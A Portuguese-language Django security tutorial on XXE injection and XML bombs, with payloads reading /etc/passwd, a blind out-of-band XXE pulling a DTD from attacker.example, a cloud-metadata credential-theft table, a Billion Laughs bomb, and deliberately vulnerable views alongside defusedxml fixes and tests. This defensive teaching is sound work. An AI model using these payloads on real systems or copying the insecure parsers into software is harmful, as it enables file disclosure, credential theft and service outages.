XXE e Bombas XML: Por Que Você Deve Pensar Duas Vezes Antes de Analisar XML em Python

XXE e Bombas XML: Por Que Você Deve Pensar Duas Vezes Antes de Analisar XML em Python

Django Security Series — Post 5 | Série I: Ataques de Injeção
OWASP A03:2021 — Injection | Tempo de leitura: ~15 min

Os quatro primeiros posts desta série percorreram a mesma causa raiz — confundir dado com código — através de quatro interpretadores diferentes. O Post 1 a levou ao banco de dados SQL, o Post 2 ao parser HTML do navegador, o Post 3 ao motor de templates, e o Post 4 ao shell do sistema operacional. O Post 5 fecha a Série I no último interpretador da lista, e naquele que desenvolvedores Django mais frequentemente esquecem que é um interpretador: o parser de XML. Analisar XML parece passivo — você entrega um documento a uma biblioteca e recebe de volta uma árvore de elementos — mas um parser XML conforme a especificação é um pequeno ambiente de programação, e o recurso de resolução de entidades dele vai alegremente ler arquivos, abrir conexões de rede e alocar gigabytes de memória seguindo as instruções embutidas no documento que está analisando.

Este post cobre dois ataques que compartilham um único habilitador: um parser XML deixado em suas configurações inseguras padrão. O primeiro é o XXE — injeção de Entidade Externa de XML (XML External Entity) — em que um documento malicioso declara uma entidade externa que faz o servidor ler um arquivo local (file:///etc/passwd), alcançar um serviço interno, ou atingir o endpoint de metadados da nuvem e devolver credenciais IAM. O segundo é a bomba XML, da qual o Billion Laughs é o arquétipo — um punhado de entidades recursivas aninhadas que expandem um documento de um kilobyte em gigabytes na memória, derrubando o processo. Ambos disparam no momento em que XML não confiável encontra um parser que resolve entidades ou expande a DTD interna (Document Type Definition).

A razão pela qual essa superfície de ataque persiste em aplicações Django é que o XML nunca realmente foi embora. O JSON domina as APIs REST modernas, mas o XML está por baixo de uma quantidade surpreendente do que uma aplicação web ainda ingere: integrações SOAP com gateways de pagamento e parceiros corporativos, leitores de feeds RSS e Atom, webhooks de parceiros e — o menos óbvio de todos — os formatos de escritório e imagem que os usuários enviam todos os dias. Um .docx, .xlsx ou .pptx é um arquivo ZIP cheio de XML; um .svg é XML; muitas cadeias de ferramentas de .pdf tocam em XML. Cada um deles é um documento que seu código pode entregar a um parser, e cada parser é uma decisão sobre confiar ou não no que o documento manda ele fazer.

Há uma armadilha específica de Django-e-Python no centro deste post, e é a mesma forma de "você achou que estava coberto" que tornou o SSTI (Post 3) tão perigoso: as bibliotecas XML do Python não são seguras por padrão. Desenvolvedores recorrem à biblioteca padrão — xml.etree.ElementTree, xml.dom.minidom, xml.sax — presumem que "biblioteca padrão significa segura" e nunca aprendem que a própria documentação oficial do Python avisa, em negrito, que esses módulos "não são seguros contra dados maliciosamente construídos". O parser rápido de terceiros que a maioria dos projetos Django de fato usa, o lxml, resolve entidades por padrão e é o vetor clássico de leitura de arquivo por XXE. A correção — o defusedxml — existe precisamente porque os padrões estão errados, e quase ninguém o instala antes de um incidente.

Neste post veremos como as entidades XML funcionam no nível do parser, como o mesmo recurso produz tanto divulgação de arquivos quanto uma bomba de negação de serviço, exatamente onde uma aplicação Django é alcançável por essa superfície, e como tornar segura cada análise de XML no seu projeto com uma troca de biblioteca de uma linha mais um pequeno conjunto de regras de blindagem.


O Ataque: O Que É e Como Funciona

XML é mais do que um formato de dados — a especificação inclui uma Definição de Tipo de Documento (DTD), uma pequena gramática que um documento pode carregar embutida (o subconjunto interno) ou referenciar externamente. A DTD permite que um documento declare entidades. Uma entidade é o mecanismo de substituição embutido do XML — pense nela como um espaço reservado nomeado, muito parecido com uma constante ou uma macro: você a define uma vez e, onde quer que o parser depois veja uma referência &nome;, ele troca essa referência pelo valor da entidade antes de te entregar a árvore analisada. As entidades existem por duas razões perfeitamente legítimas. A primeira é o escape — inserir caracteres que de outra forma quebrariam a marcação: você escreve &lt; para que o parser leia um < literal como texto, e não como o início de uma tag. A segunda é o reuso — definir uma string boilerplate uma vez (o nome de uma empresa, um aviso legal, uma URL repetida) e referenciá-la muitas vezes, de modo que uma única edição atualize todas. Você já conhece a variedade de escape — &lt;, &gt;, &amp;, &apos;, &quot; são as cinco entidades XML predefinidas, que representam <, >, &, ' e ". O perigo é que um documento pode definir suas próprias entidades, e essas definições podem apontar para fora do documento.

Existem três tipos de entidade personalizada, e a história de segurança vive na segunda e na terceira:

  • Entidade interna — uma substituição de string literal: <!ENTITY empresa "ACME Corp">. Inofensiva por si só, mas o motor por trás do Billion Laughs.
  • Entidade geral externa — uma substituição cujo valor é buscado a partir de uma URI: <!ENTITY xxe SYSTEM "file:///etc/passwd">. Quando o parser resolve &xxe;, ele lê essa URI e insere o resultado. Este é o coração do XXE.
  • Entidade de parâmetro externa — a mesma ideia, referenciada com %nome; dentro da própria DTD, usada para construir cadeias de exfiltração cega/fora de banda que funcionam mesmo quando a resposta nunca ecoa os dados analisados.

O XXE clássico — lendo um arquivo local

Um parser que resolve entidades externas trata este documento como uma instrução para ler /etc/passwd e colocar seu conteúdo onde &xxe; aparece:

<?xml version="1.0"?>
<!DOCTYPE data [
  <!ENTITY xxe SYSTEM "file:///etc/passwd">
]>
<data>&xxe;</data>

Se a aplicação analisa isso e reflete o valor resultante de <data> em qualquer lugar — uma mensagem de erro, uma página de confirmação, um registro armazenado que o atacante pode ler de volta — o conteúdo de /etc/passwd vem junto. O mesmo identificador SYSTEM aceita outros esquemas, e é isso que transforma uma leitura de arquivo em algo muito pior:

Alvo do payload O que o parser faz Impacto
file:///etc/passwd Lê um arquivo local, insere seu conteúdo Divulgação de arquivo local — código-fonte, settings.py, SECRET_KEY
http://169.254.169.254/latest/meta-data/ Faz uma requisição HTTP ao endpoint de metadados da nuvem SSRF → roubo de credenciais IAM na AWS/GCP/Azure
http://servico-interno:8080/ Alcança um serviço visível apenas de dentro da rede SSRF → reconhecimento interno e movimentação lateral
expect://id / php:// (stacks PHP) Invoca um stream wrapper Execução de comandos em configurações vulneráveis

A variante http:// é a que escala de "vazamento irritante de arquivo" para "brecha que encerra a empresa": o parser vira um proxy que o atacante dirige, e o endpoint de metadados da nuvem em 169.254.169.254 vai, em uma instância mal configurada, retornar as credenciais temporárias do papel IAM do servidor. Este é o mesmo mecanismo de SSRF abordado em profundidade em um post futuro desta série — o XXE é simplesmente uma das formas de disparar isso.

XXE cego / fora de banda

Quando a aplicação analisa o XML mas nunca retorna o resultado ao atacante — comum em manipuladores de upload e webhooks — a reflexão clássica de &xxe; não funciona. Os atacantes resolvem isso com entidades de parâmetro e uma DTD externa hospedada pelo atacante que exfiltra o conteúdo do arquivo através de uma URL:

<?xml version="1.0"?>
<!DOCTYPE data [
  <!ENTITY % file SYSTEM "file:///etc/hostname">
  <!ENTITY % dtd SYSTEM "http://attacker.example/evil.dtd">
  %dtd;
]>
<data>probe</data>

A evil.dtd externa define uma entidade adicional que anexa %file; a uma URL de volta ao servidor do atacante, de modo que o conteúdo do arquivo deixa a rede como parte de uma requisição que o atacante observa em seus próprios logs — sem exigir reflexão. Este é o análogo XML das técnicas cegas/fora de banda vistas no SQL Injection cego (Post 1) e na injeção de comandos cega (Post 4).

A bomba XML — Billion Laughs

O segundo ataque usa apenas entidades internas, então não precisa de nenhum acesso externo — é pura exaustão de CPU e memória. Cada entidade é definida em termos daquela abaixo dela, dez referências por vez:

<?xml version="1.0"?>
<!DOCTYPE lolz [
  <!ENTITY lol "lol">
  <!ENTITY lol1 "&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;">
  <!ENTITY lol2 "&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;">
  <!ENTITY lol3 "&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;">

  <!ENTITY lol9 "&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;">
]>
<lolz>&lol9;</lolz>

A expansão é multiplicativa, e esse é todo o truque. Leia de baixo para cima: lol é a string literal "lol"; &lol1; são dez lols; &lol2; são dez &lol1;s — cem lols; &lol3; são dez &lol2;s — mil; e cada nível acima multiplica o total corrente por mais dez. Então, quando o parser chega ao único &lol9; no corpo do documento, ele precisa construir dez &lol8;, cada um dos quais é dez &lol7;, e assim por diante até a string literal — 10^9 (um bilhão) de cópias de "lol", cerca de 3 GB de texto, a partir de um documento de origem com bem menos de um kilobyte na rede. Essa assimetria — um documento minúsculo, uma expansão gigante na memória — é todo o ataque. O parser aloca obedientemente cada byte e o processo trabalhador é morto pelo coletor out-of-memory do SO, derrubando junto as requisições concorrentes. Uma variante, o quadratic blowup (explosão quadrática), usa uma única entidade grande referenciada milhares de vezes para atingir o mesmo efeito enquanto escapa de verificações ingênuas de profundidade de aninhamento. Este é um ataque de negação de serviço — a mesma classe de exaustão de recursos na camada de aplicação abordada em um post futuro desta série — entregue através do parser XML.

Como os Atacantes Exploram

O ponto de entrada realista no Django é qualquer endpoint ou tarefa que aceite XML controlado pelo atacante. Considere uma aplicação que ingere o feed de produtos de um parceiro:

# INSEGURO — analisa um feed XML enviado com lxml em suas configurações padrão
from lxml import etree
from django.http import HttpResponse

def import_feed(request):
    xml_bytes = request.FILES['feed'].read()
    root = etree.fromstring(xml_bytes)   # entidades resolvidas por padrão
    name = root.findtext('.//productName')
    return HttpResponse(f"Imported: {name}")

Um atacante envia um feed cujo productName é &xxe;, com a entidade file:///etc/passwd declarada no DOCTYPE. O lxml resolve a entidade enquanto analisa, o arquivo de senhas cai em name, e a resposta de confirmação o reflete de volta diretamente. Troque o alvo SYSTEM da entidade por http://169.254.169.254/latest/meta-data/iam/security-credentials/ e o mesmo endpoint vaza as credenciais de nuvem da instância.

Os mapeamentos MITRE ATT&CK relevantes são T1190 — Exploit Public-Facing Application para o acesso inicial; T1552.005 — Unsecured Credentials: Cloud Instance Metadata API para a escalada de SSRF ao endpoint de metadados; e T1499 — Endpoint Denial of Service para a variante Billion Laughs / bomba XML. O que torna o XXE perigoso é exatamente o que o torna fácil de passar despercebido em revisão: a linha vulnerável é uma chamada parse() rotineira que parece manipulação passiva de dados, não um sink óbvio como subprocess ou cursor.execute.


Incidentes Reais

Facebook XXE — Reginaldo Silva (2014)

No início de 2014 o pesquisador de segurança brasileiro Reginaldo Silva relatou uma vulnerabilidade de Entidade Externa de XML no endpoint consumidor de OpenID do Facebook. O Facebook aceitava uma requisição de login OpenID, buscava e analisava um documento XML do provedor de identidade, e o fazia com um parser que resolvia entidades externas — de modo que Silva podia fazer os servidores do Facebook lerem arquivos locais e, criticamente, fazerem requisições de saída de dentro da rede do Facebook. Ele havia encontrado anteriormente a mesma classe de bug na infraestrutura do Google, e reconheceu que o XXE poderia ser encadeado em execução remota de código completa através dos serviços internos que ele agora podia alcançar. O Facebook lhe concedeu US$ 33.500 — na época um dos maiores pagamentos individuais que seu programa de bug bounty já havia feito — precisamente porque um XXE que consegue pivotar para serviços internos e o sistema de arquivos não é um bug de "ler um arquivo", mas uma posição dentro do perímetro.

A lição para desenvolvedores Django é o fio condutor de todo este post: o código vulnerável não estava fazendo nada exótico — estava analisando um documento XML recebido de uma parte externa, a operação de XML mais comum que existe. O acesso inicial mapeia para MITRE ATT&CK T1190 (Exploit Public-Facing Application), e o caminho de escalada — usar o parser como um proxy de SSRF para alcançar serviços internos — é exatamente por que o XXE é classificado tão acima de uma simples falha de divulgação de informação. Uma troca de uma linha para um parser que recusa DTDs e entidades externas teria fechado toda a cadeia na origem.

Source: Reginaldo Silva — Remote Code Execution via XXE in Facebook


Proteções Padrão do Django

O título honesto é o mesmo do Post 4: o Django não analisa XML arbitrário para você, e não fornece nenhuma proteção automática quando o seu código o faz. Um projeto Django ou Django REST Framework padrão trata requisições como dados form-encoded ou JSON — não há parser XML no caminho de requisição padrão, então uma aplicação Django comum não tem superfície de XXE até um desenvolvedor deliberadamente adicionar análise de XML. Isso é genuinamente protetivo por omissão, e vale a pena declarar claramente: se você nunca analisa XML não confiável, não pode ser atingido por XXE.

Duas nuances completam o quadro. Primeiro, o próprio framework de serialização XML do Django — o código por trás das fixtures loaddata/dumpdata — foi blindado anos atrás para defender contra ataques de expansão de entidades, então carregar uma fixture não é uma preocupação. Mas esse caminho lida com suas próprias fixtures confiáveis, não com entrada do usuário, e não diz nada sobre o parser que você escolhe quando você analisa um corpo de requisição. Segundo, e esta é a parte que pega as pessoas: a proteção ou a exposição vive inteiramente na biblioteca Python que você escolhe, e o Django não tem voz nisso.

  • lxml — o parser rápido baseado em C, popular, que a maioria dos projetos Django instala para trabalho real com XML — resolve entidades internas por padrão, o que torna o XXE clássico via file:// alcançável de fábrica. O acesso à rede é desabilitado por padrão, mas a divulgação de arquivo local e a bomba Billion Laughs não são.
  • xml.etree.ElementTree, xml.dom.minidom, xml.sax — a biblioteca padrão — são, nas palavras da documentação oficial do Python, "não seguros contra dados maliciosamente construídos". O backend expat do CPython moderno não busca mais entidades externas por padrão, o que atenua a variante de leitura de arquivo, mas cada um desses parsers ainda é vulnerável à negação de serviço Billion Laughs / quadratic blowup, e a recomendação da própria documentação é instalar o defusedxml.

A conclusão espelha a injeção de comandos: no momento em que seu código chama etree.fromstring, minidom.parse, ou uma biblioteca SOAP/de feed, você saiu de qualquer coisa que o Django possa proteger, e a segurança dessa análise é inteiramente sua responsabilidade.


Padrão Vulnerável: O Que NÃO Fazer

Padrão 1 — Analisar um corpo de requisição com lxml nas configurações padrão

# INSEGURO — lxml resolve entidades por padrão → leitura de arquivo por XXE clássico
from lxml import etree
from django.views.decorators.csrf import csrf_exempt
from django.http import JsonResponse

@csrf_exempt
def webhook(request):
    root = etree.fromstring(request.body)   # DTD + entidades honradas
    order_id = root.findtext('.//orderId')
    return JsonResponse({"received": order_id})

Payload de ataque — um corpo POST declarando <!ENTITY xxe SYSTEM "file:///etc/passwd"> e colocando &xxe; dentro de <orderId> faz o lxml inserir o arquivo de senhas em order_id. Aponte a entidade para http://169.254.169.254/… e o mesmo manipulador exfiltra credenciais de nuvem.

Padrão 2 — Analisar um arquivo enviado com a biblioteca padrão

# INSEGURO — um SVG/XML enviado é uma bomba Billion Laughs esperando para detonar
import xml.etree.ElementTree as ET
from django.http import HttpResponse

def upload_diagram(request):
    svg = request.FILES['diagram']
    tree = ET.parse(svg)          # vulnerável à DoS por expansão de entidades
    title = tree.findtext('.//{http://www.w3.org/2000/svg}title')
    return HttpResponse(f"Uploaded: {title}")

Payload de ataque — um SVG com menos de um kilobyte carregando as entidades aninhadas lol1…lol9 expande para gigabytes durante o ET.parse, e o trabalhador é morto pelo coletor out-of-memory do SO. Como um SVG é "só uma imagem", esse endpoint raramente recebe o escrutínio que um endpoint óbvio de importação de dados receberia.

Padrão 3 — Uma integração SOAP / de feed que confia no documento remoto

# INSEGURO — uma resposta SOAP de um parceiro analisada sem blindagem
from lxml import etree
import requests

def fetch_partner_status(order_ref):
    resp = requests.post("https://partner.example/soap", data=build_envelope(order_ref))
    doc = etree.fromstring(resp.content)   # XML remoto, entidades resolvidas
    return doc.findtext('.//status')

O erro é presumir que a resposta de um "parceiro confiável" é segura para analisar de forma frouxa. Um upstream comprometido ou malicioso — ou um machine-in-the-middle numa etapa não autenticada — retorna um documento cujas entidades leem os arquivos do seu servidor ou bombardeiam sua memória. Confiança no remetente não é confiança nos bytes; o parser deve ser blindado independentemente da origem.


Implementação Segura: O Jeito Django

Regra 1 — Substitua todo parser XML pelo defusedxml

Este é o controle mais importante, e é praticamente uma substituição direta. O defusedxml é uma biblioteca pequena e bem mantida que espelha os módulos XML do Python um a um — defusedxml.ElementTree, defusedxml.minidom, defusedxml.sax, mais um shim para o lxml — expondo as mesmas funções, com as mesmas assinaturas que você já chama. O que muda é o que esses invólucros fazem antes de analisar: eles deixam os três recursos perigosos desligados por padrão — processamento de DTD, resolução de entidades e carregamento de recursos externos. Assim, quando um documento hostil declara um DOCTYPE ou referencia uma entidade personalizada, o parser nunca lê um arquivo, busca uma URL ou incha na memória — ele para na hora e lança uma exceção explícita (DTDForbidden, EntitiesForbidden ou ExternalReferenceForbidden) que você pode capturar e transformar numa rejeição limpa. Documentos legítimos são analisados exatamente como antes; os maliciosos falham de forma barulhenta em vez de executar silenciosamente.

# SEGURO — defusedxml recusa DTDs e entidades; a API é, no mais, idêntica
import defusedxml.ElementTree as ET
from django.http import HttpResponse
from defusedxml.common import EntitiesForbidden, DTDForbidden

def upload_diagram(request):
    try:
        tree = ET.parse(request.FILES['diagram'])
    except (EntitiesForbidden, DTDForbidden):
        return HttpResponse("Rejeitado: entidades XML não são permitidas", status=400)
    title = tree.findtext('.//{http://www.w3.org/2000/svg}title')
    return HttpResponse(f"Uploaded: {title}")

pip install defusedxml, depois troque import xml.etree.ElementTree as ET por import defusedxml.ElementTree as ET (e from defusedxml.lxml import fromstring no lugar de lxml.etree.fromstring). Um documento Billion Laughs agora lança EntitiesForbidden, e uma entidade externa file:// lança DTDForbidden, em vez de executar.

Regra 2 — Se você precisar usar o lxml diretamente, blinde o parser explicitamente

Algumas bibliotecas exigem um objeto parser lxml real. Quando o shim do defusedxml não for uma opção, construa o parser com a resolução de entidades, o carregamento de DTD e o acesso à rede todos desligados, e rejeite qualquer DOCTYPE de imediato:

# SEGURO — um parser lxml travado: sem entidades, sem DTD, sem rede
from lxml import etree

_SAFE_PARSER = etree.XMLParser(
    resolve_entities=False,   # não expandir referências &entidade;
    no_network=True,          # bloquear identificadores SYSTEM http(s) (SSRF)
    load_dtd=False,           # não processar a DTD
    dtd_validation=False,
    huge_tree=False,          # manter os limites internos de expansão/tamanho
)

def parse_partner_xml(raw_bytes):
    root = etree.fromstring(raw_bytes, parser=_SAFE_PARSER)
    # Defesa em profundidade: rejeitar qualquer documento que trouxe um DOCTYPE.
    if root.getroottree().docinfo.doctype:
        raise ValueError("DTD não permitida")
    return root

resolve_entities=False neutraliza tanto o vetor de leitura de arquivo quanto o Billion Laughs, no_network=True fecha a escalada de SSRF ao endpoint de metadados, e deixar huge_tree=False (o padrão) mantém em vigor a proteção interna do lxml contra expansão excessiva.

Regra 3 — Limite o tamanho de tudo o que você analisa

Expansão de entidades e documentos excessivamente grandes são ataques de exaustão de recursos, então limite a entrada antes e durante a análise. O Django já lhe dá a primeira alavanca: DATA_UPLOAD_MAX_MEMORY_SIZE rejeita corpos de requisição acima do limite antes que sua view rode, e FILE_UPLOAD_MAX_MEMORY_SIZE governa quanto de um upload é mantido em memória.

# settings.py — limite os corpos de requisição (padrão 2,5 MB); ajuste aos seus payloads reais
DATA_UPLOAD_MAX_MEMORY_SIZE = 2 * 1024 * 1024        # teto rígido de 2 MB para corpos POST
DATA_UPLOAD_MAX_NUMBER_FIELDS = 1000                 # conter floods por contagem de campos multipart

Esses limites são abordados como um controle de DoS de primeira classe em um post futuro desta série; aqui eles são a rede de segurança que garante que nem mesmo uma má configuração do parser possa ser alimentada com uma bomba arbitrariamente grande.

Regra 4 — Prefira JSON, e trate XML como uma exceção deliberada

A correção mais durável é arquitetural: se você controla as duas pontas do contrato, use JSON, que não tem entidades, nem DTD, nem recurso de referência externa a abusar. Reserve a análise de XML para os casos que você genuinamente não pode evitar — SOAP de entrada, feeds de parceiros em formato fixo, uploads de escritório/SVG — e faça de cada um deles uma decisão consciente e blindada usando as Regras 1–3, em vez de um reflexivo etree.fromstring.

A regra invariável: nunca analise XML não confiável com um parser padrão. Roteie toda análise de XML através do defusedxml (ou de um parser lxml explicitamente blindado), e limite o tamanho da entrada — sem exceções para parceiros "confiáveis" ou uploads que são "só uma imagem".

Checklist de Prevenção de XXE

Controle O que cobre
defusedxml no lugar de todo parser padrão O principal vetor de XXE e bomba XML — DTDs e resolução de entidades são recusadas, lançando DTDForbidden/EntitiesForbidden
Parser lxml blindado (resolve_entities=False, no_network=True, load_dtd=False) XXE onde um objeto lxml real é exigido — leitura de arquivo, expansão de entidades e SSRF-para-metadados todos fechados
Rejeitar documentos que carregam um DOCTYPE Defesa em profundidade — recusa a DTD da qual um payload XXE depende antes que qualquer entidade seja processada
DATA_UPLOAD_MAX_MEMORY_SIZE / FILE_UPLOAD_MAX_MEMORY_SIZE A DoS por Billion Laughs / documento excessivamente grande — limita a entrada antes e durante a análise
Preferir JSON onde você controla o contrato Remove a superfície de ataque inteiramente — sem entidades, sem DTD, nada a resolver
bandit no CI (sinaliza uso de xml.etree/lxml, recomenda defusedxml) Impede que um novo ponto de chamada de parser inseguro chegue à produção

Testando Sua Defesa

Testes Unitários

# blog/tests.py
from django.test import TestCase

XXE_FILE_READ = b"""<?xml version="1.0"?>
<!DOCTYPE data [ <!ENTITY xxe SYSTEM "file:///etc/passwd"> ]>
<data>&xxe;</data>"""

BILLION_LAUGHS = b"""<?xml version="1.0"?>
<!DOCTYPE lolz [
  <!ENTITY lol "lol">
  <!ENTITY lol2 "&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;">
  <!ENTITY lol3 "&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;">
]>
<lolz>&lol3;</lolz>"""


class XXETests(TestCase):
    def test_external_entity_is_not_resolved(self):
        """Uma entidade file:// nunca deve aparecer na resposta — o parser
        deve recusar a DTD em vez de inserir /etc/passwd."""
        response = self.client.post(
            '/webhook/', data=XXE_FILE_READ, content_type='application/xml'
        )
        self.assertNotIn(b'root:', response.content)   # sem conteúdo do passwd
        self.assertEqual(response.status_code, 400)    # rejeitado, não processado

    def test_entity_expansion_is_rejected(self):
        """Um documento Billion Laughs deve ser rejeitado, não expandido — a
        requisição deve retornar rápido e nunca alocar a expansão."""
        response = self.client.post(
            '/webhook/', data=BILLION_LAUGHS, content_type='application/xml'
        )
        self.assertEqual(response.status_code, 400)

Verificação Manual

# Sonda de leitura de arquivo — a resposta NÃO deve conter conteúdo de /etc/passwd.
curl -X POST https://staging.example.com/webhook/ \
  -H "Content-Type: application/xml" \
  --data-binary @xxe-file-read.xml

# Sonda de bomba — a requisição deve falhar rápido (400/rejeição), não travar ou disparar a memória.
time curl -X POST https://staging.example.com/webhook/ \
  -H "Content-Type: application/xml" \
  --data-binary @billion-laughs.xml

Análise Estática no CI

O Bandit sinaliza o uso dos parsers XML inseguros da biblioteca padrão (regras B313–B320) e recomenda o defusedxml. Adicione-o ao pipeline para que nenhuma nova análise não blindada possa ser mesclada:

pip install bandit defusedxml
# Sinaliza análise com xml.etree / minidom / sax / lxml sem defusedxml
bandit -r blog/ blogtech/

# Um grep rápido é um bom backstop de pré-commit
grep -rn "etree.fromstring\|minidom.parse\|xml.sax\|lxml" blog/ blogtech/

O Post 5 fecha a Série I. Ao longo de cinco posts a lição nunca mudou — um interpretador não consegue distinguir sua intenção da entrada de um atacante a menos que você mantenha dado e código em canais separados — mas os interpretadores mudaram: o motor SQL, o navegador, o motor de templates, o shell do SO, e agora o parser XML. O hábito a levar adiante é um novo reflexo de revisão de código para sentar-se ao lado de "nunca construa SQL com uma f-string" e "nunca passe entrada não confiável a shell=True": nunca analise XML não confiável com um parser padrão — roteie toda análise através do defusedxml e limite o tamanho da entrada, tratando um etree.fromstring puro em dados de requisição como um achado que bloqueia a mesclagem.

A Série II abre a próxima frente: Broken Access Control (Controle de Acesso Quebrado). O Post 6 começa com IDOR — Insecure Direct Object Reference (Referência Direta Insegura a Objeto) — em que a aplicação autentica quem você é perfeitamente mas nunca verifica o que você tem permissão de tocar, e um único ID incrementado em uma URL entrega a um usuário os dados de outro. A injeção era sobre dados cruzando para código; o controle de acesso é sobre identidade cruzando uma fronteira que ela nunca foi autorizada a cruzar.

Leitura Complementar

Next in this series → Post 6: Broken Access Control e IDOR: Quando Estar Logado Não É o Mesmo que Ter Permissão

← Voltar para todos os posts